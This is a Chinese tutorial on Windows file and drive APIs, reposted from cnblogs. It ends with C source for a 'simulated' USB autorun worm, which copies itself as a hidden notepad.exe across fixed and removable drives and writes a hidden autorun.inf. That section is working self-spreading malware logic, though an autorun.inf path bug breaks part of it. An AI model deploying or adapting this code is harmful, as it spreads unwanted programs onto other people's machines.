码迷,mamicode.com
首页 > Windows程序 > 详细

Windows文件操作

时间:2018-07-19 16:09:53      阅读:213      评论:0      收藏:0      [点我收藏+]

标签:UNC   handle   max   line   完整   receive   one   imm   gen   

在windows中有多种文件,图片、视频、音乐等等。此些文件皆存于磁盘上,只是存储格式不同。此外,管道、邮槽,亦或是设备对象,于windows而言,皆为文件。

1. 文件的打开和关闭

与c,c++操作文件一样,要操作文件,首先需要打开文件。文件打开成功后会返回一个可用于操作文件的句柄,通过此句柄便可对文件进行读写操作。

打开文件

HANDLE CreateFile(
    LPCTSTR lpFileName,
    DWORD dwDesiredAccess,
    DWORD dwShareMode,
    LPSECURITY_ATTRIBUTES lpSecurityAttributes,
    DWORD dwCreationDisposition,
    DWORD dwFlagsAndAttributes,
    HANDLE hTemplateFile
);
参数说明:
  • lpFileName:欲打开之文件名。
  • dwDesiredAccess:文件之访问模式,指定了对打开对象进行何种操作。通常为:GENERIC_READGENERIC_WRITE,分别为只读和只写模式。
  • dwShareMode:共享模式,表示文件被打开后是否允许其它进程进行操作。若可操作,可指定其操作模式。
    |——FILE_SHARE_DELETE:表示随后打开操作对象只有删除访问请求会成功。
    |——FILE_SHARE_READ:表示随后打开操作对象只有请求读访问会成功。
    |——FILE_SHARE_WRITE:表示随后打开操作对象只有请求写访问。
  • lpSecurityAttributes:安全属性,可指定返回的文件句柄是否可被子线程继承。若为NULL,表示无法被继承,否则需将参数指向SECURITY_ATTRIBUTES的结构体。通常为NULL。
  • dwCreationDisposition:创建或打开的文件存在或不存在时该函数的处理方式。
    |——CREATE_NEW: 创建文件;如文件存在则会出错。
    |——CREATE_ALWAYS: 创建文件,会改写前一个文件。
    |——OPEN_EXISTING: 文件必须已经存在。由设备提出要求。
    |——OPEN_ALWAYS: 如文件不存在则创建它。
    |——TRUNCATE_EXISTING: 将现有文件缩短为零长度。
  • dwFlagsAndAttributes:指定新建文件的属性和对文件操作的方式。
    |——FILE_ATTRIBUTE_ARCHIVE: 标记归档属性。
    |——FILE_ATTRIBUTE_COMPRESSED: 将文件标记为已压缩,或者标记为文件在目录中的默认压缩方式。
    |——FILE_ATTRIBUTE_NORMAL: 默认属性。
    |——FILE_ATTRIBUTE_HIDDEN: 隐藏文件或目录。
    |——FILE_ATTRIBUTE_READONLY: 文件为只读。
    |——FILE_ATTRIBUTE_SYSTEM: 文件为系统文件。
    |——FILE_FLAG_OVERLAPPED: 允许对文件进行重叠操作。
  • hTemplateFile:文件模块句柄,系统会copy该文件模板的所有属性到当前创建的文件中。
Return Value:
  • succeed:返回一个文件句柄。
  • failed:返回INVALID_HANDLE_VALUE。

此函数既可打开文件,也可创建文件,在windows下也有一个OpenFile()函数,这是Win16的产物,在Win32下必须使用CreateFile()来打开文件。


文件操作完成后,需要关闭打开文件的句柄以释放资源,函数如下:

BOOL CloseHandle(
    HANDLE hObject  //handle to object
);

该函数不仅可关闭文件句柄,还可关闭事件句柄、进程句柄、线程句柄等等对象句柄。


2.文件的基本操作

删除文件

BOOL DeleteFile(
    LPCTSTR lpFileName
);

此函数只有一个参数,表示要删除文件的名称。


读取文件

BOOL ReadFile(
    HANDLE hFile,                  //handle to file
    LPVOID lpBuffer,               //data buffer
    DWORD nNumberOfBytesToRead,    //number of bytes to read
    LPDWORD lpNumberOfBytesRead,   //number of bytes read
    LPOVERLAPPED lpOverlapped      //overlapped buffer
);
参数说明:
  • hFile:文件句柄,通常为CreateFile()返回的句柄。
  • lpBuffer:指向一个缓冲区,将从文件中读出的数据保存在该缓冲区中。
  • nNumberOfBytesToRead:要求读入的最小值,通常情况下是缓冲区的大小。
  • lpNumberOfBytesRead:指向一个DWORD变量,返用于返回读入的字节数。
  • lpOverlapped:通常为NULL。

写入文件

BOOL WriteFile(
    HANDLE hFile,                     //handle to file
    LPCVOID lpBuffer,                 //data buffer
    DWORD nNumberOfBytesToWrite,      //number of bytes to write
    LPDWORD lpNumberOfBytesWritten,   //number of bytes written
    LPOVERLAPPED lpOverlapped         //overlapped buffer
);

此函数和ReadFile()函数的参数意义基本相同,WriteFile()函数的第二个参数仍指向一个缓冲区,ReadFile()函数是将读入的内容存入此中,而WriteFile()函数是将之中的内容进行写入。

当用WriteFile()函数写文件时,windows会将数据暂时保存在内部的高速缓存中,操作系统定时进行盘写入,这样就避免的频繁的I/O操作,提高了效率。为了保证数据即时写入,可以使用FlushFileBuffers()函数:

BOOL FlushFileBuffers(
    HANDLE hFile  //handle to file
);

此函数清空指定文件句柄的缓冲区,从而使Windows将缓冲区中的文件写入磁盘。这里的句柄和WriteFile()与ReadFile()所使用的文件句柄相同。


设置文件指针

在进行文件读取之时,往往需要读取文件的某个部分,这便需对文件指针进行移动,从而正确读写。

移动文件指针函数为:

BOOL SetFilePointer(
    HANDLE hFile,                 //handle to file
    LONG lDistanceToMove,         //bytes to move pointer
    PLONG lpDistanceToMoveHigh,   //bytes to move pointer
    DWORD dwMoveMethod            //starting point
);
参数说明:
  • hFile:文件操作时的文件句柄。
  • lDistanceToMove:指定要移动文件指针的距离。
  • lpDistanceToMoveHigh:指向LONG型的指针,移动距离的高32位。常为NULL。
  • dwMoveMethod:指定移动的起始位置。可从文件开始处移动,也可从当前位置移动,亦能从文件的末尾开始移动。

拷贝文件

BOOL CopyFile(
  LPCTSTR lpExistingFileName,
                          // pointer to name of an existing file
  LPCTSTR lpNewFileName,  // pointer to filename to copy to
  BOOL bFailIfExists      // flag for operation if file exists
);
参数说明:
  • lpExistingFileName:指向要拷贝文件的名称。
  • lpNewFileName:指向要拷贝的文件名称
  • bFailIfExists:若目标文件已存在的处理标志。若为TRUE,则调用失败;若为FALSE,则覆盖原文件。

设置文件属性

BOOL SetFileAttributes(
  LPCTSTR lpFileName,      // pointer to filename
  DWORD dwFileAttributes   // attributes to set
);

第一个参数是文件名称,第二个参数是要设置的属性,这些属性是一些宏定义,以FILE_ATTRIBUTE_开头。MSDN中描述如下

  • FILE_ATTRIBUTE_ARCHIVE: The file is an archive file. Applications use this attribute to mark files for backup or removal.
  • FILE_ATTRIBUTE_HIDDEN: The file is hidden. It is not included in an ordinary directory listing.
  • FILE_ATTRIBUTE_NORMAL: The file has no other attributes set. This attribute is valid only if used alone.
  • FILE_ATTRIBUTE_OFFLINE: The data of the file is not immediately available. Indicates that the file data has been physically moved to offline storage.
  • FILE_ATTRIBUTE_READONLY: The file is read-only. Applications can read the file but cannot write to it or delete it.
  • FILE_ATTRIBUTE_SYSTEM: The file is part of the operating system or is used exclusively by it.
  • FILE_ATTRIBUTE_TEMPORARY: The file is being used for temporary storage. File systems attempt to keep all of the data in memory for quicker access rather than flushing the data back to mass storage. A temporary file should be deleted by the application as soon as it is no longer needed.


3. 驱动器及目录相关操作

获取本地所有逻辑驱动器:

DWORD GetLogicalDriveStrings(
    DWORD nBufferLength,   //size of buffer
    LPTSTR lpBuffer        //drive strings buffer
);
参数说明:
  • nBufferLength:表示lpBuffer的长度。
  • lpBuffer:表示接收本地逻辑驱动器名的缓冲区。

该函数以字符串的形式返回本地所有可用的驱动器名保存在lpBuffer中。


获取驱动器类型函数

UINT GetDriveType(
    LPCTSTR lpRootPathName  //root directory
);

lpRootPathName保存获取的逻辑驱动器类型的驱动器名。函数的返回值为以下之一:

DRIVE_UNKONWN           无法识别此驱动器类型
DRIVE_NO_ROOT_DIR       无效的驱动器路径
DRIVE_REMOVEABLE        可移动驱动器,如U盘、移动硬盘等
DRIVE_FIXED             不可移动驱动器,指硬盘
DRIVE_REMOTE            网络驱动器
DRIVE_CDROM             光盘驱动器
DRIVE_RAMDISK           虚拟驱动器

获取文件路径

DWORD GetModuleFileName(
  HMODULE hModule,    // handle to module to find filename for
  LPTSTR lpFilename,  // pointer to buffer to receive module path
  DWORD nSize         // size of buffer, in characters
);

创建目录的函数

BOOL CreateDirectory(
    LPCTSTR lpPathName,                         //directory name
    LPSECURITY_ATTRIBUTES lpSecurityAttributes  //SD
);
参数说明:
  • lpPathName:创建目录的目录名称。
  • lpSecurityAttributes:安全属性,常为NULL。

移除目录的函数

BOOL RemoveDirectory(
    LPCTSTR lpPathName  //directory name
);

参数指定了要移除的目录名。


4. 示例程序

该程序利用autorun.inf文件模拟U盘病毒,当该程序在U盘上时,它会将自己拷贝到所有磁盘目录上,并生成autorun.inf文件,这两个文件的属性都被设置为隐藏。当该程序在磁盘上时,若有可移动磁盘,它将会做同样操作到可移动磁盘上。

#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>

char szAutoRun[] = "[AutoRun] \r\nopen=notepad.exe \r\nshell\\open=打开(&O) \r\nshell\\open\\Command=notepad.exe \r\nshell\\explore=资源管理器(&X) \r\nshell\\explore\\Command=notepad.exe \r\nshellexecute=notepad.exe \r\nshell\\Auto\\Command=notepad.exe";

void infect(char *pszFile, UINT uDriverType)
{
    char szDriveString[MAXBYTE] = { 0 };
    DWORD dwRet = { 0 };
    DWORD iNum = 0;
    char szRoot[4] = { 0 };
    UINT uType = 0;
    char szTarget[MAX_PATH] = { 0 };

    dwRet = GetLogicalDriveStrings(MAXBYTE, szDriveString);
    while (iNum < dwRet) 
    {
        strncpy(szRoot, &szDriveString[iNum], 3);
        uType = GetDriveType(szRoot);

        if (uType == uDriverType)
        {
            lstrcpy(szTarget, szRoot);           //将根目录名称copy到szTarget
            lstrcat(szTarget, "notepad.exe");    //szTarget为目标文件名:盘符:\notepad.exe
            CopyFile(pszFile, szTarget, FALSE);  //将原文件拷贝到szTarget

            //设置文件属性为隐藏
            SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN);

            //建立AutoRun.inf文件
            lstrcpy(szTarget, szRoot);
            lstrcpy(szTarget, "autorun.inf");
            HANDLE hFile = CreateFile(szTarget, GENERIC_WRITE,
                0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 
                NULL);
            DWORD dwWritten = 0;
            WriteFile(hFile, szAutoRun, lstrlen(szAutoRun), &dwWritten, NULL);
            CloseHandle(hFile);

            //隐藏autorun.inf文件
            SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN);
        }
        iNum += 4;  //开始操作下一个盘符
    }
}

int main()
{
    char szFileName[MAX_PATH] = { 0 };
    char szRoot[4] = { 0 };
    UINT uType = 0;

    GetModuleFileName(NULL, szFileName, MAX_PATH);  //获取当前所在路径和完整文件名
    strncpy(szRoot, szFileName, 3);                 //获取所在盘符

    uType = GetDriveType(szRoot);

    switch (uType)
    {
    case DRIVE_FIXED:
        infect(szFileName, DRIVE_REMOVABLE);  //若在硬盘上,则检查是否有可移动驱动器,有则拷贝
        break;
    case DRIVE_REMOVABLE:
        infect(szFileName, DRIVE_FIXED);  //若在可移动驱动器里,则拷贝到硬盘
        break;
    }

    return 0;
}

Windows文件操作

标签:UNC   handle   max   line   完整   receive   one   imm   gen   

原文地址:https://www.cnblogs.com/coolcpp/p/windowsfile.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!